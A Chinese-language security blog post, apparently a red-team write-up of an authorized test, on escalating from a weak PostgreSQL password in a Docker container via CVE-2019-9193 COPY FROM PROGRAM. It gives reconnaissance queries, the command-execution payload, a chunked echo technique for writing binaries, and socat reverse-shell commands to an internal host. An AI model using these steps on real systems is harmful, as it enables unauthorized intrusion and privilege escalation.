在日常的内网横向过程中,对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段,重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时,ABC_123也会关注一些其它服务的弱口令提权方法,有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中,遇到的PostgreSQL数据库提权案例,过程非常艰辛,但是收获不少。
首先简单介绍一下当时的渗透测试工作进展情况:前期通过外围打点进入了一个大B段的内网,内网非常庞大,但是资产极其稀少,在客户授权的情况下,一通B段探测,仅仅发现了一个Postgres弱口令,而且这个PostgreSQL是在docker容器中的,是非root权限起的服务,也就说内网只有这一个突破口。通过查看目录,发现一些目录有很多开发留下来的配置文件,但是需要root权限才能读取到。所以,接下来的要做的事情非常明确,就是提权到Linux服务器最高权限。
此文章抛砖引玉,如果大家有更好的方法,欢迎微信后台给我发消息讨论。
首先按照惯例,肯定是需要对PostgreSQL数据库进行一系列信息收集的,常用的命令有以下这些:
select pg_read_file(‘PG_VERSION’, 0, 200);
SELECT current_setting(‘server_version_num’);
— 获取安装目录(通过路径可以判断系统是linux还是windows的)
select setting from pg_settings where name = ‘data_directory’;
selectsetting from pg_settings where name=’config_file’
select inet_server_addr()
通过各种搜索,发现PostgreSQL曾经爆出过三个有价值的提权漏洞:其中一个漏洞是CVE-2018-1058,漏洞描述是“PostgreSQL的9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作”。在网上看了几篇漏洞复现文章之后,感觉这个漏洞不太好利用,提权成功需要等待“超级用户触发”,而且这个漏洞是“把一个普通的数据库用户权限提升到数据库管理员权限”,而我们需要的是一个Linux服务器权限,所以这个CVE漏洞不适用于本次测试工作。
另一个方法是PostgreSQL的UDF提权执行命令方法,但是本次环境用不成功,而且用起来挺麻烦的。
还找到一个漏洞是CVE-2019-9193,这个漏洞看起来非常好,可以直接执行系统命令,还可以看到回显结果。使用起来也比较简单。如下图所示,这个postgres数据库没有root权限。
通过postgreSQL提权漏洞,我们可以执行linux系统命令了,接下来需要提权到服务器的root权限。我想到的方法是上传一个提权exp,通过linux系统漏洞提权到root权限。可是操作起来没那么简单,因为这个docker容器没装gcc。这种情况也有解决办法,准备一个相似的docker环境,编译好一个exp,将此二进制文件传到服务器上即可运行成功。
编译后的提权文件做好了,但是此postgres的docker环境太精简了,很多程序都没有:wget命令不存在、curl不存在、python不存在,而且服务器还不出网,所以通过下载文件方式去写入提权文件,看来不太好弄。那么只能直接写二进制文件了,可是问题又来了,| base64 -d 命令不存在、|xxd -r -ps 命令也不存在,怎么写二进制文件呢?
看来只剩下echo命令可用了,经过一系列测试,发现echo是可以直接写入二进制文件的,命令如下echo -e -n “x23” >> exploit3.bin。比较麻烦的是,需要把二进制文件转成16进制格式的,如下图所示:
接下来就是与postgres的提权语句结合起来使用了,原有的echo命令是这样的:
echo -e -n “x23x23x23x23x23x23x23x23x23x23x23x23x23” >> test3.bin
但是放在postgres必须用以下这样方式才行,试了好多次,只有这样才能写成功!注意,echo左边的是两个单引号,不是双引号,exploit3.bin右边是3个单引号。
COPY cmd_exec FROM PROGRAM ‘/bin/bash -c ”echo -e -n “x33″ >> exploit3.bin”’;
最终通过postgres提权漏洞写入提权exp文件的具体语句如下:
最终exploit3.bin文件写入成功了,执行chmod 777 exploit3.bin之后,运行此文件,发现没反应,这时候我才反应过来。。。这个提权exp需要交互环境!!!接下来我需要传一个nc啥的反弹shell获取交互环境吗?可是nc也不一定能获取纯交互环境呀。我想到了一个好久没用的工具socat,解决了这个问题。
socat这款工具,可以说是nc的升级版本,可以轻松获取到一个纯交互环境,github上有很多绿色免安装版本。执行如下命令后,将会获取到一个完全交互式的TTY会话:
socat file:`tty`,raw,echo=0 tcp-listen:8888
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:888888
服务器不通外网怎么办呢,正好我们webshell有一台服务器,就反弹到webshell这个服务器上吧。(下图来源于网络)
把这个socat单文件转成16进制格式的,通过postgres提权命令执行写入。结果通过ls -lah命令发现文件并没有写进去,原因在哪里呢?后来发现,COPY cmd_exec FROM PROGRAM这个语句对二进制文件大小有限制的,文件太大写不进去。接下来怎么办?继续干!
于是把二进制文件分割开,挨个执行echo -e -n命令叠加写入二进制文件,经过一系列测试发现,一个367k大小的socat文件,需要分割成近15份才能写入成功。也是我用java写了一个小程序,将socat文件分割成15份,并且自动生成postgres提权命令。
关注公众号,后台回复“333”,即可获取二进制文件转16进制的java代码文件。
1. echo命令写二进制文件可以关注一下,遇到大文件,可以把大文件分割成好几份,逐个echo写入,最后叠加成最终的二进制文件。
2. 内网横向中不只要关注mssql、redis、oracle的提权,其它的不常用的服务的提权方法,平时也需要多收集。
3. socat这款工具可以获取一个纯交互环境,而且在docker精简环境下仍能正常使用。
专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等
原文始发于微信公众号(网络安全abc123):第22篇:一次艰难的PostgreSQL不出网提权过程